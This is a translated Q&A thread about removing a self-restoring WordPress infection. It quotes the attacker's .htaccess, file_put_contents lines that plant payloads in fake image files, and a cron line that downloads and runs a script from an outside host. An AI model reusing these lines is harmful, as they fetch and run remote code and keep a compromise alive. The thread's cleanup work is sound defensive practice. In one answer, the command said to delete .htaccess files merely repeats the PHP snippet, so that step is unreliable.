Eug*_*nio 3 security wordpress .htaccess
我有一个 WordPress 网站,其中包含 .htaccess 和名为postfs.php的文件。
但是当我尝试删除它们时,它们又被写入了。我尝试删除网站上的所有文件、更改权限、检查 cron...但没有任何事可做。一旦我删除或编辑这些文件,它们就会出现。
文件内容如下:
<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php|asp|Php|aspx)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(postfs.php|votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|ms-functions.php|contents.$
Order allow,deny
Allow from all
</FilesMatch>
AddType application/x-httpd-cgi .sh
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
Run Code Online (Sandbox Code Playgroud)
postfs.php文件具有以下内容:PHP Decode
如何避免恢复这些文件?
Nab*_*.Z. 18
我遇到了同样的问题,防病毒软件无法检测到它。而且正如朋友提到的,自动创建文件的问题与cron jobs无关。
事实上,每次从站点打开页面时,这些文件都会被重建。
我仔细研究了这个问题并提供了解决方案。
.htaccess和都会出现该问题index.php。
首先我们在文件文本中搜索关键字(作为 root):
grep -lir "wjsindex.php" ./
Run Code Online (Sandbox Code Playgroud)
输出:
./wp-admin/images/arrow-rights.png
./wp-includes/images/smilies/icon_crystal.gif
./.htaccess
Run Code Online (Sandbox Code Playgroud)
对于另一个文件,我们在文本中搜索关键字:
grep -lir "RZXiMOEbYmVH" ./
Run Code Online (Sandbox Code Playgroud)
输出:
./wp-admin/images/arrow-lefts.png
./index.php
./wp-includes/images/smilies/icon_devil.gif
Run Code Online (Sandbox Code Playgroud)
如果您查看这些找到的图像文件的内容,您会发现它们不是图像,并且包含与我们的两个原始文件完全匹配的恶意代码。
样本:
我们现在搜索找到的所有四个文件:
grep -lirE "arrow-rights.png|icon_crystal.gif|arrow-lefts.png|icon_devil.gif" ./
Run Code Online (Sandbox Code Playgroud)
输出:
./wp-includes/load.php
./wp-includes/template-loader.php
Run Code Online (Sandbox Code Playgroud)
如果编辑这两个结果文件:
在文件底部load.php和文件开头template-loader.php,您将看到需要删除的额外代码。(从...开始//ckIIbg)
要更准确地找出哪些部分是正确的、哪些是恶意的,只需从您确定安全且版本相同的另一个 WordPress 中替换该文件,或者使用 diff 命令查找并删除多余的部分。
因此:
diff ./wp-includes/load.php ~healthy/www/wp-includes/load.php
diff ./wp-includes/template-loader.php ~healthy/www/wp-includes/template-loader.php
Run Code Online (Sandbox Code Playgroud)
最后一步,删除四个恶意图像文件:
rm -f ./wp-admin/images/arrow-rights.png ./wp-includes/images/smilies/icon_crystal.gif ./wp-admin/images/arrow-lefts.png ./wp-includes/images/smilies/icon_devil.gif
Run Code Online (Sandbox Code Playgroud)
并且还要检查 cronjobs ( /var/spool/cron/username) 是否像这样受感染的行并将其删除:
* * * * * wget -q -O xxxd http://hello.hahaha666.xyz/xxxd && chmod 0755 xxxd && /bin/sh xxxd /home//username/public_html 24 && rm -f xxxd
Run Code Online (Sandbox Code Playgroud)
此代码创建一个./css/index.php文件并且可以删除。
小智 7
不久前我们也遇到过同样的黑客攻击。第一步是对index.php文件进行解码,解码后我们看到有四个受感染的图像文件:
file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);
file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);
file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);
file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);
Run Code Online (Sandbox Code Playgroud)
首先删除受感染的四个映像,然后检查您的 cron 并删除任何不是您创建的 cron 作业。
在 SSH 会话中运行此命令以删除所有子目录中的所有.htaccess文件:
file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);
file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);
file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);
file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);
Run Code Online (Sandbox Code Playgroud)
使用默认的 WordPress .htaccess 和 index.php 文件。
完成后,您可以安装Wordfence,并激活防火墙,同时不要忘记更新您的WordPress核心、插件和主题。
| 归档时间: |
|
| 查看次数: |
39181 次 |
| 最近记录: |